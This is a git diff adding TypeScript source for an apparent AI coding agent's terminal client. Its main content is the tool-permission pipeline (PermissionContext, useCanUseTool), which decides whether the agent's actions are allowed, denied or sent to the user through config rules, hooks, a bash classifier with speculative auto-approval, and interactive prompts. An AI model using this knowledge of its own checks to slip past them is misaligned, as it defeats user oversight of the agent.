0FUSU9OX0tFWSlcbiAgICB9XG4gIH0sIFtlcnJvcnMsIGFkZE5vdGlmaWNhdGlvbiwgcmVtb3ZlTm90aWZpY2F0aW9uXSlcblxuICByZXR1cm4gZXJyb3JzXG59XG4iXSwibWFwcGluZ3MiOiI7QUFBQSxTQUFTQSxXQUFXLEVBQUVDLFNBQVMsRUFBRUMsUUFBUSxRQUFRLE9BQU87QUFDeEQsU0FBU0MsZ0JBQWdCLFFBQVEsOEJBQThCO0FBQy9ELFNBQVNDLGVBQWUsUUFBUSwwQkFBMEI7QUFDMUQsU0FBU0Msd0JBQXdCLFFBQVEsbUNBQW1DO0FBQzVFLGNBQWNDLGVBQWUsUUFBUSxvQ0FBb0M7QUFDekUsU0FBU0MsaUJBQWlCLFFBQVEseUJBQXlCO0FBRTNELE1BQU1DLGdDQUFnQyxHQUFHLGlCQUFpQjtBQUUxRCxPQUFPLFNBQUFDLGtCQUFBO0VBQUEsTUFBQUMsQ0FBQSxHQUFBQyxFQUFBO0VBQ0w7SUFBQUMsZUFBQTtJQUFBQztFQUFBLElBQWdEVixnQkFBZ0IsQ0FBQyxDQUFDO0VBQ2xFLE9BQUFXLFFBQUEsRUFBQUMsU0FBQSxJQUE0QmIsUUFBUSxDQUFvQmMsS0FHdkQsQ0FBQztFQUFBLElBQUFDLEVBQUE7RUFBQSxJQUFBUCxDQUFBLFFBQUFRLE1BQUEsQ0FBQUMsR0FBQTtJQUV1Q0YsRUFBQSxHQUFBQSxDQUFBO01BQ3ZDO1FBQUFHLE1BQUEsRUFBQUM7TUFBQSxJQUFtQmhCLHdCQUF3QixDQUFDLENBQUM7TUFDN0NVLFNBQVMsQ0FBQ0ssUUFBTSxDQUFDO0lBQUEsQ0FDbEI7SUFBQVYsQ0FBQSxNQUFBTyxFQUFBO0VBQUE7SUFBQUEsRUFBQSxHQUFBUCxDQUFBO0VBQUE7RUFIRCxNQUFBWSxvQkFBQSxHQUE2QkwsRUFHdkI7RUFFTlYsaUJBQWlCLENBQUNlLG9CQUFvQixDQUFDO0VBQUEsSUFBQUMsRUFBQTtFQUFBLElBQUFDLEVBQUE7RUFBQSxJQUFBZCxDQUFBLFFBQUFFLGVBQUEsSUFBQUYsQ0FBQSxRQUFBSSxRQUFBLElBQUFKLENBQUEsUUFBQUcsa0JBQUE7SUFFN0JVLEVBQUEsR0FBQUEsQ0FBQTtNQUNSLElBQUluQixlQUFlLENBQUMsQ0FBQztRQUFBO01BQUE7TUFDckIsSUFBSWdCLFFBQU0sQ0FBQUssTUFBTyxHQUFHLENBQUM7UUFDbkIsTUFBQUMsT0FBQSxHQUFnQixTQUFTTixRQUFNLENBQUFLLE1BQU8sYUFBYUwsUUFBTSxDQUFBSyxNQUFPLEtBQUssQ0FBc0IsR0FBeEMsT0FBd0MsR0FBeEMsUUFBd0Msd0JBQXdCO1FBQ25IYixlQUFlLENBQUM7VUFBQWUsR0FBQSxFQUNUbkIsZ0NBQWdDO1VBQUFvQixJQUFBLEVBQy9CRixPQUFPO1VBQUFHLEtBQUEsRUFDTixTQUFTO1VBQUFDLFFBQUEsRUFDTixNQUFNO1VBQUFDLFNBQUEsRUFDTDtRQUNiLENBQUMsQ0FBQztNQUFBO1FBRUZsQixrQkFBa0IsQ0FBQ0wsZ0NBQWdDLENBQUM7TUFBQTtJQUNyRCxDQUNGO0lBQUVnQixFQUFBLElBQUNKLFFBQU0sRUFBRVIsZUFBZSxFQUFFQyxrQkFBa0IsQ0FBQztJQUFBSCxDQUFBLE1BQUFFLGVBQUE7SUFBQUYsQ0FBQSxNQUFBSSxRQUFBO0lBQUFKLENBQUEsTUFBQUcsa0JBQUE7SUFBQUgsQ0FBQSxNQUFBYSxFQUFBO0lBQUFiLENBQUEsTUFBQWMsRUFBQTtFQUFBO0lBQUFELEVBQUEsR0FBQWIsQ0FBQTtJQUFBYyxFQUFBLEdBQUFkLENBQUE7RUFBQTtFQWRoRFQsU0FBUyxDQUFDc0IsRUFjVCxFQUFFQyxFQUE2QyxDQUFDO0VBQUEsT0FFMUNKLFFBQU07QUFBQTtBQTlCUixTQUFBSixNQUFBO0VBR0g7SUFBQUk7RUFBQSxJQUFtQmYsd0JBQXdCLENBQUMsQ0FBQztFQUFBLE9BQ3RDZSxNQUFNO0FBQUEiLCJpZ25vcmVMaXN0IjpbXX0=
\ No newline at end of file
diff --git a/_all-in-one-upload/cc-haha/src/hooks/notifs/useStartupNotification.ts b/_all-in-one-upload/cc-haha/src/hooks/notifs/useStartupNotification.ts
new file mode 100644
index 0000000..4e2fa8f
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/notifs/useStartupNotification.ts
@@ -0,0 +1,41 @@
+import { useEffect, useRef } from 'react'
+import { getIsRemoteMode } from '../../bootstrap/state.js'
+import {
+  type Notification,
+  useNotifications,
+} from '../../context/notifications.js'
+import { logError } from '../../utils/log.js'
+
+type Result = Notification | Notification[] | null
+
+/**
+ * Fires notification(s) once on mount. Encapsulates the remote-mode gate and
+ * once-per-session ref guard that was hand-rolled across 10+ notifs/ hooks.
+ *
+ * The compute fn runs exactly once on first effect. Return null to skip,
+ * a Notification to fire one, or an array to fire several. Sync or async.
+ * Rejections are routed to logError.
+ */
+export function useStartupNotification(
+  compute: () => Result | Promise<Result>,
+): void {
+  const { addNotification } = useNotifications()
+  const hasRunRef = useRef(false)
+  const computeRef = useRef(compute)
+  computeRef.current = compute
+
+  useEffect(() => {
+    if (getIsRemoteMode() || hasRunRef.current) return
+    hasRunRef.current = true
+
+    void Promise.resolve()
+      .then(() => computeRef.current())
+      .then(result => {
+        if (!result) return
+        for (const n of Array.isArray(result) ? result : [result]) {
+          addNotification(n)
+        }
+      })
+      .catch(logError)
+  }, [addNotification])
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/renderPlaceholder.ts b/_all-in-one-upload/cc-haha/src/hooks/renderPlaceholder.ts
new file mode 100644
index 0000000..50913ff
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/renderPlaceholder.ts
@@ -0,0 +1,51 @@
+import chalk from 'chalk'
+
+type PlaceholderRendererProps = {
+  placeholder?: string
+  value: string
+  showCursor?: boolean
+  focus?: boolean
+  terminalFocus: boolean
+  invert?: (text: string) => string
+  hidePlaceholderText?: boolean
+}
+
+export function renderPlaceholder({
+  placeholder,
+  value,
+  showCursor,
+  focus,
+  terminalFocus = true,
+  invert = chalk.inverse,
+  hidePlaceholderText = false,
+}: PlaceholderRendererProps): {
+  renderedPlaceholder: string | undefined
+  showPlaceholder: boolean
+} {
+  let renderedPlaceholder: string | undefined = undefined
+
+  if (placeholder) {
+    if (hidePlaceholderText) {
+      // Voice recording: show only the cursor, no placeholder text
+      renderedPlaceholder =
+        showCursor && focus && terminalFocus ? invert(' ') : ''
+    } else {
+      renderedPlaceholder = chalk.dim(placeholder)
+
+      // Show inverse cursor only when both input and terminal are focused
+      if (showCursor && focus && terminalFocus) {
+        renderedPlaceholder =
+          placeholder.length > 0
+            ? invert(placeholder[0]!) + chalk.dim(placeholder.slice(1))
+            : invert(' ')
+      }
+    }
+  }
+
+  const showPlaceholder = value.length === 0 && Boolean(placeholder)
+
+  return {
+    renderedPlaceholder,
+    showPlaceholder,
+  }
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/toolPermission/PermissionContext.ts b/_all-in-one-upload/cc-haha/src/hooks/toolPermission/PermissionContext.ts
new file mode 100644
index 0000000..43ae7e8
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/toolPermission/PermissionContext.ts
@@ -0,0 +1,388 @@
+import { feature } from 'bun:bundle'
+import type { ContentBlockParam } from '@anthropic-ai/sdk/resources/messages.mjs'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from 'src/services/analytics/index.js'
+import { sanitizeToolNameForAnalytics } from 'src/services/analytics/metadata.js'
+import type { ToolUseConfirm } from '../../components/permissions/PermissionRequest.js'
+import type {
+  ToolPermissionContext,
+  Tool as ToolType,
+  ToolUseContext,
+} from '../../Tool.js'
+import { awaitClassifierAutoApproval } from '../../tools/BashTool/bashPermissions.js'
+import { BASH_TOOL_NAME } from '../../tools/BashTool/toolName.js'
+import type { AssistantMessage } from '../../types/message.js'
+import type {
+  PendingClassifierCheck,
+  PermissionAllowDecision,
+  PermissionDecisionReason,
+  PermissionDenyDecision,
+} from '../../types/permissions.js'
+import { setClassifierApproval } from '../../utils/classifierApprovals.js'
+import { logForDebugging } from '../../utils/debug.js'
+import { executePermissionRequestHooks } from '../../utils/hooks.js'
+import {
+  REJECT_MESSAGE,
+  REJECT_MESSAGE_WITH_REASON_PREFIX,
+  SUBAGENT_REJECT_MESSAGE,
+  SUBAGENT_REJECT_MESSAGE_WITH_REASON_PREFIX,
+  withMemoryCorrectionHint,
+} from '../../utils/messages.js'
+import type { PermissionDecision } from '../../utils/permissions/PermissionResult.js'
+import {
+  applyPermissionUpdates,
+  persistPermissionUpdates,
+  supportsPersistence,
+} from '../../utils/permissions/PermissionUpdate.js'
+import type { PermissionUpdate } from '../../utils/permissions/PermissionUpdateSchema.js'
+import {
+  logPermissionDecision,
+  type PermissionDecisionArgs,
+} from './permissionLogging.js'
+
+type PermissionApprovalSource =
+  | { type: 'hook'; permanent?: boolean }
+  | { type: 'user'; permanent: boolean }
+  | { type: 'classifier' }
+
+type PermissionRejectionSource =
+  | { type: 'hook' }
+  | { type: 'user_abort' }
+  | { type: 'user_reject'; hasFeedback: boolean }
+
+// Generic interface for permission queue operations, decoupled from React.
+// In the REPL, these are backed by React state.
+type PermissionQueueOps = {
+  push(item: ToolUseConfirm): void
+  remove(toolUseID: string): void
+  update(toolUseID: string, patch: Partial<ToolUseConfirm>): void
+}
+
+type ResolveOnce<T> = {
+  resolve(value: T): void
+  isResolved(): boolean
+  /**
+   * Atomically check-and-mark as resolved. Returns true if this caller
+   * won the race (nobody else has resolved yet), false otherwise.
+   * Use this in async callbacks BEFORE awaiting, to close the window
+   * between the `isResolved()` check and the actual `resolve()` call.
+   */
+  claim(): boolean
+}
+
+function createResolveOnce<T>(resolve: (value: T) => void): ResolveOnce<T> {
+  let claimed = false
+  let delivered = false
+  return {
+    resolve(value: T) {
+      if (delivered) return
+      delivered = true
+      claimed = true
+      resolve(value)
+    },
+    isResolved() {
+      return claimed
+    },
+    claim() {
+      if (claimed) return false
+      claimed = true
+      return true
+    },
+  }
+}
+
+function createPermissionContext(
+  tool: ToolType,
+  input: Record<string, unknown>,
+  toolUseContext: ToolUseContext,
+  assistantMessage: AssistantMessage,
+  toolUseID: string,
+  setToolPermissionContext: (context: ToolPermissionContext) => void,
+  queueOps?: PermissionQueueOps,
+) {
+  const messageId = assistantMessage.message.id
+  const ctx = {
+    tool,
+    input,
+    toolUseContext,
+    assistantMessage,
+    messageId,
+    toolUseID,
+    logDecision(
+      args: PermissionDecisionArgs,
+      opts?: {
+        input?: Record<string, unknown>
+        permissionPromptStartTimeMs?: number
+      },
+    ) {
+      logPermissionDecision(
+        {
+          tool,
+          input: opts?.input ?? input,
+          toolUseContext,
+          messageId,
+          toolUseID,
+        },
+        args,
+        opts?.permissionPromptStartTimeMs,
+      )
+    },
+    logCancelled() {
+      logEvent('tengu_tool_use_cancelled', {
+        messageID:
+          messageId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+        toolName: sanitizeToolNameForAnalytics(tool.name),
+      })
+    },
+    async persistPermissions(updates: PermissionUpdate[]) {
+      if (updates.length === 0) return false
+      persistPermissionUpdates(updates)
+      const appState = toolUseContext.getAppState()
+      setToolPermissionContext(
+        applyPermissionUpdates(appState.toolPermissionContext, updates),
+      )
+      return updates.some(update => supportsPersistence(update.destination))
+    },
+    resolveIfAborted(resolve: (decision: PermissionDecision) => void) {
+      if (!toolUseContext.abortController.signal.aborted) return false
+      this.logCancelled()
+      resolve(this.cancelAndAbort(undefined, true))
+      return true
+    },
+    cancelAndAbort(
+      feedback?: string,
+      isAbort?: boolean,
+      contentBlocks?: ContentBlockParam[],
+    ): PermissionDecision {
+      const sub = !!toolUseContext.agentId
+      const baseMessage = feedback
+        ? `${sub ? SUBAGENT_REJECT_MESSAGE_WITH_REASON_PREFIX : REJECT_MESSAGE_WITH_REASON_PREFIX}${feedback}`
+        : sub
+          ? SUBAGENT_REJECT_MESSAGE
+          : REJECT_MESSAGE
+      const message = sub ? baseMessage : withMemoryCorrectionHint(baseMessage)
+      if (isAbort || (!feedback && !contentBlocks?.length && !sub)) {
+        logForDebugging(
+          `Aborting: tool=${tool.name} isAbort=${isAbort} hasFeedback=${!!feedback} isSubagent=${sub}`,
+        )
+        toolUseContext.abortController.abort()
+      }
+      return { behavior: 'ask', message, contentBlocks }
+    },
+    ...(feature('BASH_CLASSIFIER')
+      ? {
+          async tryClassifier(
+            pendingClassifierCheck: PendingClassifierCheck | undefined,
+            updatedInput: Record<string, unknown> | undefined,
+          ): Promise<PermissionDecision | null> {
+            if (tool.name !== BASH_TOOL_NAME || !pendingClassifierCheck) {
+              return null
+            }
+            const classifierDecision = await awaitClassifierAutoApproval(
+              pendingClassifierCheck,
+              toolUseContext.abortController.signal,
+              toolUseContext.options.isNonInteractiveSession,
+            )
+            if (!classifierDecision) {
+              return null
+            }
+            if (
+              feature('TRANSCRIPT_CLASSIFIER') &&
+              classifierDecision.type === 'classifier'
+            ) {
+              const matchedRule = classifierDecision.reason.match(
+                /^Allowed by prompt rule: "(.+)"$/,
+              )?.[1]
+              if (matchedRule) {
+                setClassifierApproval(toolUseID, matchedRule)
+              }
+            }
+            logPermissionDecision(
+              { tool, input, toolUseContext, messageId, toolUseID },
+              { decision: 'accept', source: { type: 'classifier' } },
+              undefined,
+            )
+            return {
+              behavior: 'allow' as const,
+              updatedInput: updatedInput ?? input,
+              userModified: false,
+              decisionReason: classifierDecision,
+            }
+          },
+        }
+      : {}),
+    async runHooks(
+      permissionMode: string | undefined,
+      suggestions: PermissionUpdate[] | undefined,
+      updatedInput?: Record<string, unknown>,
+      permissionPromptStartTimeMs?: number,
+    ): Promise<PermissionDecision | null> {
+      for await (const hookResult of executePermissionRequestHooks(
+        tool.name,
+        toolUseID,
+        input,
+        toolUseContext,
+        permissionMode,
+        suggestions,
+        toolUseContext.abortController.signal,
+      )) {
+        if (hookResult.permissionRequestResult) {
+          const decision = hookResult.permissionRequestResult
+          if (decision.behavior === 'allow') {
+            const finalInput = decision.updatedInput ?? updatedInput ?? input
+            return await this.handleHookAllow(
+              finalInput,
+              decision.updatedPermissions ?? [],
+              permissionPromptStartTimeMs,
+            )
+          } else if (decision.behavior === 'deny') {
+            this.logDecision(
+              { decision: 'reject', source: { type: 'hook' } },
+              { permissionPromptStartTimeMs },
+            )
+            if (decision.interrupt) {
+              logForDebugging(
+                `Hook interrupt: tool=${tool.name} hookMessage=${decision.message}`,
+              )
+              toolUseContext.abortController.abort()
+            }
+            return this.buildDeny(
+              decision.message || 'Permission denied by hook',
+              {
+                type: 'hook',
+                hookName: 'PermissionRequest',
+                reason: decision.message,
+              },
+            )
+          }
+        }
+      }
+      return null
+    },
+    buildAllow(
+      updatedInput: Record<string, unknown>,
+      opts?: {
+        userModified?: boolean
+        decisionReason?: PermissionDecisionReason
+        acceptFeedback?: string
+        contentBlocks?: ContentBlockParam[]
+      },
+    ): PermissionAllowDecision {
+      return {
+        behavior: 'allow' as const,
+        updatedInput,
+        userModified: opts?.userModified ?? false,
+        ...(opts?.decisionReason && { decisionReason: opts.decisionReason }),
+        ...(opts?.acceptFeedback && { acceptFeedback: opts.acceptFeedback }),
+        ...(opts?.contentBlocks &&
+          opts.contentBlocks.length > 0 && {
+            contentBlocks: opts.contentBlocks,
+          }),
+      }
+    },
+    buildDeny(
+      message: string,
+      decisionReason: PermissionDecisionReason,
+    ): PermissionDenyDecision {
+      return { behavior: 'deny' as const, message, decisionReason }
+    },
+    async handleUserAllow(
+      updatedInput: Record<string, unknown>,
+      permissionUpdates: PermissionUpdate[],
+      feedback?: string,
+      permissionPromptStartTimeMs?: number,
+      contentBlocks?: ContentBlockParam[],
+      decisionReason?: PermissionDecisionReason,
+    ): Promise<PermissionAllowDecision> {
+      const acceptedPermanentUpdates =
+        await this.persistPermissions(permissionUpdates)
+      this.logDecision(
+        {
+          decision: 'accept',
+          source: { type: 'user', permanent: acceptedPermanentUpdates },
+        },
+        { input: updatedInput, permissionPromptStartTimeMs },
+      )
+      const userModified = tool.inputsEquivalent
+        ? !tool.inputsEquivalent(input, updatedInput)
+        : false
+      const trimmedFeedback = feedback?.trim()
+      return this.buildAllow(updatedInput, {
+        userModified,
+        decisionReason,
+        acceptFeedback: trimmedFeedback || undefined,
+        contentBlocks,
+      })
+    },
+    async handleHookAllow(
+      finalInput: Record<string, unknown>,
+      permissionUpdates: PermissionUpdate[],
+      permissionPromptStartTimeMs?: number,
+    ): Promise<PermissionAllowDecision> {
+      const acceptedPermanentUpdates =
+        await this.persistPermissions(permissionUpdates)
+      this.logDecision(
+        {
+          decision: 'accept',
+          source: { type: 'hook', permanent: acceptedPermanentUpdates },
+        },
+        { input: finalInput, permissionPromptStartTimeMs },
+      )
+      return this.buildAllow(finalInput, {
+        decisionReason: { type: 'hook', hookName: 'PermissionRequest' },
+      })
+    },
+    pushToQueue(item: ToolUseConfirm) {
+      queueOps?.push(item)
+    },
+    removeFromQueue() {
+      queueOps?.remove(toolUseID)
+    },
+    updateQueueItem(patch: Partial<ToolUseConfirm>) {
+      queueOps?.update(toolUseID, patch)
+    },
+  }
+  return Object.freeze(ctx)
+}
+
+type PermissionContext = ReturnType<typeof createPermissionContext>
+
+/**
+ * Create a PermissionQueueOps backed by a React state setter.
+ * This is the bridge between React's `setToolUseConfirmQueue` and the
+ * generic queue interface used by PermissionContext.
+ */
+function createPermissionQueueOps(
+  setToolUseConfirmQueue: React.Dispatch<
+    React.SetStateAction<ToolUseConfirm[]>
+  >,
+): PermissionQueueOps {
+  return {
+    push(item: ToolUseConfirm) {
+      setToolUseConfirmQueue(queue => [...queue, item])
+    },
+    remove(toolUseID: string) {
+      setToolUseConfirmQueue(queue =>
+        queue.filter(item => item.toolUseID !== toolUseID),
+      )
+    },
+    update(toolUseID: string, patch: Partial<ToolUseConfirm>) {
+      setToolUseConfirmQueue(queue =>
+        queue.map(item =>
+          item.toolUseID === toolUseID ? { ...item, ...patch } : item,
+        ),
+      )
+    },
+  }
+}
+
+export { createPermissionContext, createPermissionQueueOps, createResolveOnce }
+export type {
+  PermissionContext,
+  PermissionApprovalSource,
+  PermissionQueueOps,
+  PermissionRejectionSource,
+  ResolveOnce,
+}
diff --git a/_all-in-one-upload/cc-haha/src/hooks/useCanUseTool.tsx b/_all-in-one-upload/cc-haha/src/hooks/useCanUseTool.tsx
new file mode 100644
index 0000000..1eb77d5
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/hooks/useCanUseTool.tsx
@@ -0,0 +1,204 @@
+import { c as _c } from "react/compiler-runtime";
+import { feature } from 'bun:bundle';
+import { APIUserAbortError } from '@anthropic-ai/sdk';
+import * as React from 'react';
+import { useCallback } from 'react';
+import { type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS, logEvent } from 'src/services/analytics/index.js';
+import { sanitizeToolNameForAnalytics } from 'src/services/analytics/metadata.js';
+import type { ToolUseConfirm } from '../components/permissions/PermissionRequest.js';
+import { Text } from '../ink.js';
+import type { ToolPermissionContext, Tool as ToolType, ToolUseContext } from '../Tool.js';
+import { consumeSpeculativeClassifierCheck, peekSpeculativeClassifierCheck } from '../tools/BashTool/bashPermissions.js';
+import { BASH_TOOL_NAME } from '../tools/BashTool/toolName.js';
+import type { AssistantMessage } from '../types/message.js';
+import { recordAutoModeDenial } from '../utils/autoModeDenials.js';
+import { clearClassifierChecking, setClassifierApproval, setYoloClassifierApproval } from '../utils/classifierApprovals.js';
+import { logForDebugging } from '../utils/debug.js';
+import { AbortError } from '../utils/errors.js';
+import { logError } from '../utils/log.js';
+import type { PermissionDecision } from '../utils/permissions/PermissionResult.js';
+import { hasPermissionsToUseTool } from '../utils/permissions/permissions.js';
+import { jsonStringify } from '../utils/slowOperations.js';
+import { handleCoordinatorPermission } from './toolPermission/handlers/coordinatorHandler.js';
+import { handleInteractivePermission } from './toolPermission/handlers/interactiveHandler.js';
+import { handleSwarmWorkerPermission } from './toolPermission/handlers/swarmWorkerHandler.js';
+import { createPermissionContext, createPermissionQueueOps } from './toolPermission/PermissionContext.js';
+import { logPermissionDecision } from './toolPermission/permissionLogging.js';
+export type CanUseToolFn<Input extends Record<string, unknown> = Record<string, unknown>> = (tool: ToolType, input: Input, toolUseContext: ToolUseContext, assistantMessage: AssistantMessage, toolUseID: string, forceDecision?: PermissionDecision<Input>) => Promise<PermissionDecision<Input>>;
+function useCanUseTool(setToolUseConfirmQueue, setToolPermissionContext) {
+  const $ = _c(3);
+  let t0;
+  if ($[0] !== setToolPermissionContext || $[1] !== setToolUseConfirmQueue) {
+    t0 = async (tool, input, toolUseContext, assistantMessage, toolUseID, forceDecision) => new Promise(resolve => {
+      const ctx = createPermissionContext(tool, input, toolUseContext, assistantMessage, toolUseID, setToolPermissionContext, createPermissionQueueOps(setToolUseConfirmQueue));
+      if (ctx.resolveIfAborted(resolve)) {
+        return;
+      }
+      const decisionPromise = forceDecision !== undefined ? Promise.resolve(forceDecision) : hasPermissionsToUseTool(tool, input, toolUseContext, assistantMessage, toolUseID);
+      return decisionPromise.then(async result => {
+        if (result.behavior === "allow") {
+          if (ctx.resolveIfAborted(resolve)) {
+            return;
+          }
+          if (feature("TRANSCRIPT_CLASSIFIER") && result.decisionReason?.type === "classifier" && result.decisionReason.classifier === "auto-mode") {
+            setYoloClassifierApproval(toolUseID, result.decisionReason.reason);
+          }
+          ctx.logDecision({
+            decision: "accept",
+            source: "config"
+          });
+          resolve(ctx.buildAllow(result.updatedInput ?? input, {
+            decisionReason: result.decisionReason
+          }));
+          return;
+        }
+        const appState = toolUseContext.getAppState();
+        const description = await tool.description(input as never, {
+          isNonInteractiveSession: toolUseContext.options.isNonInteractiveSession,
+          toolPermissionContext: appState.toolPermissionContext,
+          tools: toolUseContext.options.tools
+        });
+        if (ctx.resolveIfAborted(resolve)) {
+          return;
+        }
+        switch (result.behavior) {
+          case "deny":
+            {
+              logPermissionDecision({
+                tool,
+                input,
+                toolUseContext,
+                messageId: ctx.messageId,
+                toolUseID
+              }, {
+                decision: "reject",
+                source: "config"
+              });
+              if (feature("TRANSCRIPT_CLASSIFIER") && result.decisionReason?.type === "classifier" && result.decisionReason.classifier === "auto-mode") {
+                recordAutoModeDenial({
+                  toolName: tool.name,
+                  display: description,
+                  reason: result.decisionReason.reason ?? "",
+                  timestamp: Date.now()
+                });
+                toolUseContext.addNotification?.({
+                  key: "auto-mode-denied",
+                  priority: "immediate",
+                  jsx: <><Text color="error">{tool.userFacingName(input).toLowerCase()} denied by auto mode</Text><Text dimColor={true}> · /permissions</Text></>
+                });
+              }
+              resolve(result);
+              return;
+            }
+          case "ask":
+            {
+              if (appState.toolPermissionContext.awaitAutomatedChecksBeforeDialog) {
+                const coordinatorDecision = await handleCoordinatorPermission({
+                  ctx,
+                  ...(feature("BASH_CLASSIFIER") ? {
+                    pendingClassifierCheck: result.pendingClassifierCheck
+                  } : {}),
+                  updatedInput: result.updatedInput,
+                  suggestions: result.suggestions,
+                  permissionMode: appState.toolPermissionContext.mode
+                });
+                if (coordinatorDecision) {
+                  resolve(coordinatorDecision);
+                  return;
+                }
+              }
+              if (ctx.resolveIfAborted(resolve)) {
+                return;
+              }
+              const swarmDecision = await handleSwarmWorkerPermission({
+                ctx,
+                description,
+                ...(feature("BASH_CLASSIFIER") ? {
+                  pendingClassifierCheck: result.pendingClassifierCheck
+                } : {}),
+                updatedInput: result.updatedInput,
+                suggestions: result.suggestions
+              });
+              if (swarmDecision) {
+                resolve(swarmDecision);
+                return;
+              }
+              if (feature("BASH_CLASSIFIER") && result.pendingClassifierCheck && tool.name === BASH_TOOL_NAME && !appState.toolPermissionContext.awaitAutomatedChecksBeforeDialog) {
+                const speculativePromise = peekSpeculativeClassifierCheck((input as {
+                  command: string;
+                }).command);
+                if (speculativePromise) {
+                  const raceResult = await Promise.race([speculativePromise.then(_temp), new Promise(_temp2)]);
+                  if (ctx.resolveIfAborted(resolve)) {
+                    return;
+                  }
+                  if (raceResult.type === "result" && raceResult.result.matches && raceResult.result.confidence === "high" && feature("BASH_CLASSIFIER")) {
+                    consumeSpeculativeClassifierCheck((input as {
+                      command: string;
+                    }).command);
+                    const matchedRule = raceResult.result.matchedDescription ?? undefined;
+                    if (matchedRule) {
+                      setClassifierApproval(toolUseID, matchedRule);
+                    }
+                    ctx.logDecision({
+                      decision: "accept",
+                      source: {
+                        type: "classifier"
+                      }
+                    });
+                    resolve(ctx.buildAllow(result.updatedInput ?? input as Record<string, unknown>, {
+                      decisionReason: {
+                        type: "classifier" as const,
+                        classifier: "bash_allow" as const,
+                        reason: `Allowed by prompt rule: "${raceResult.result.matchedDescription}"`
+                      }
+                    }));
+                    return;
+                  }
+                }
+              }
+              handleInteractivePermission({
+                ctx,
+                description,
+                result,
+                awaitAutomatedChecksBeforeDialog: appState.toolPermissionContext.awaitAutomatedChecksBeforeDialog,
+                bridgeCallbacks: feature("BRIDGE_MODE") ? appState.replBridgePermissionCallbacks : undefined,
+                channelCallbacks: feature("KAIROS") || feature("KAIROS_CHANNELS") ? appState.channelPermissionCallbacks : undefined
+              }, resolve);
+              return;
+            }
+        }
+      }).catch(error => {
+        if (error instanceof AbortError || error instanceof APIUserAbortError) {
+          logForDebugging(`Permission check threw ${error.constructor.name} for tool=${tool.name}: ${error.message}`);
+          ctx.logCancelled();
+          resolve(ctx.cancelAndAbort(undefined, true));
+        } else {
+          logError(error);
+          resolve(ctx.cancelAndAbort(undefined, true));
+        }
+      }).finally(() => {
+        clearClassifierChecking(toolUseID);
+      });
+    });
+    $[0] = setToolPermissionContext;
+    $[1] = setToolUseConfirmQueue;
+    $[2] = t0;
+  } else {
+    t0 = $[2];
+  }
+  return t0;
+}
+function _temp2(res) {
+  return setTimeout(res, 2000, {
+    type: "timeout" as const
+  });
+}
+function _temp(r) {
+  return {
+    type: "result" as const,
+    result: r
+  };
+}
+export default useCanUseTool;
+//# sourceMappingURL=data:application/json;charset=utf-8;base64,eyJ2ZXJzaW9uIjozLCJuYW1lcyI6WyJmZWF0dXJlIiwiQVBJVXNlckFib3J0RXJyb3IiLCJSZWFjdCIsInVzZUNhbGxiYWNrIiwiQW5hbHl0aWNzTWV0YWRhdGFfSV9WRVJJRklFRF9USElTX0lTX05PVF9DT0RFX09SX0ZJTEVQQVRIUyIsImxvZ0V2ZW50Iiwic2FuaXRpemVUb29sTmFtZUZvckFuYWx5dGljcyIsIlRvb2xVc2VDb25maXJtIiwiVGV4dCIsIlRvb2xQZXJtaXNzaW9uQ29udGV4dCIsIlRvb2wiLCJUb29sVHlwZSIsIlRvb2xVc2VDb250ZXh0IiwiY29uc3VtZVNwZWN1bGF0aXZlQ2xhc3NpZmllckNoZWNrIiwicGVla1NwZWN1bGF0aXZlQ2xhc3NpZmllckNoZWNrIiwiQkFTSF9UT09MX05BTUUiLCJBc3Npc3RhbnRNZXNzYWdlIiwicmVjb3JkQXV0b01vZGVEZW5pYWwiLCJjbGVhckNsYXNzaWZpZXJDaGVja2luZyIsInNldENsYXNzaWZpZXJBcHByb3ZhbCIsInNldFlvbG9DbGFzc2lmaWVyQXBwcm92YWwiLCJsb2dGb3JEZWJ1Z2dpbmciLCJBYm9ydEVycm9yIiwibG9nRXJyb3IiLCJQZXJtaXNzaW9uRGVjaXNpb24iLCJoYXNQZXJtaXNzaW9uc1RvVXNlVG9vbCIsImpzb25TdHJpbmdpZnkiLCJoYW5kbGVDb29yZGluYXRvclBlcm1pc3Npb24iLCJoYW5kbGVJbnRlcmFjdGl2ZVBlcm1pc3Npb24iLCJoYW5kbGVTd2FybVdvcmtlclBlcm1pc3Npb24iLCJjcmVhdGVQZXJtaXNzaW9uQ29udGV4dCIsImNyZWF0ZVBlcm1pc3Npb25RdWV1ZU9wcyIsImxvZ1Blcm1pc3Npb25EZWNpc2lvbiIsIkNhblVzZVRvb2xGbiIsIlJlY29yZCIsInRvb2wiLCJpbnB1dCIsIklucHV0IiwidG9vbFVzZUNvbnRleHQiLCJhc3Npc3RhbnRNZXNzYWdlIiwidG9vbFVzZUlEIiwiZm9yY2VEZWNpc2lvbiIsIlByb21pc2UiLCJ1c2VDYW5Vc2VUb29sIiwic2V0VG9vbFVzZUNvbmZpcm1RdWV1ZSIsInNldFRvb2xQZXJtaXNzaW9uQ29udGV4dCIsIiQiLCJfYyIsInQwIiwicmVzb2x2ZSIsImN0eCIsInJlc29sdmVJZkFib3J0ZWQiLCJkZWNpc2lvblByb21pc2UiLCJ1bmRlZmluZWQiLCJ0aGVuIiwicmVzdWx0IiwiYmVoYXZpb3IiLCJkZWNpc2lvblJlYXNvbiIsInR5cGUiLCJjbGFzc2lmaWVyIiwicmVhc29uIiwibG9nRGVjaXNpb24iLCJkZWNpc2lvbiIsInNvdXJjZSIsImJ1aWxkQWxsb3ciLCJ1cGRhdGVkSW5wdXQiLCJhcHBTdGF0ZSIsImdldEFwcFN0YXRlIiwiZGVzY3JpcHRpb24iLCJpc05vbkludGVyYWN0aXZlU2Vzc2lvbiIsIm9wdGlvbnMiLCJ0b29sUGVybWlzc2lvbkNvbnRleHQiLCJ0b29scyIsIm1lc3NhZ2VJZCIsInRvb2xOYW1lIiwibmFtZSIsImRpc3BsYXkiLCJ0aW1lc3RhbXAiLCJEYXRlIi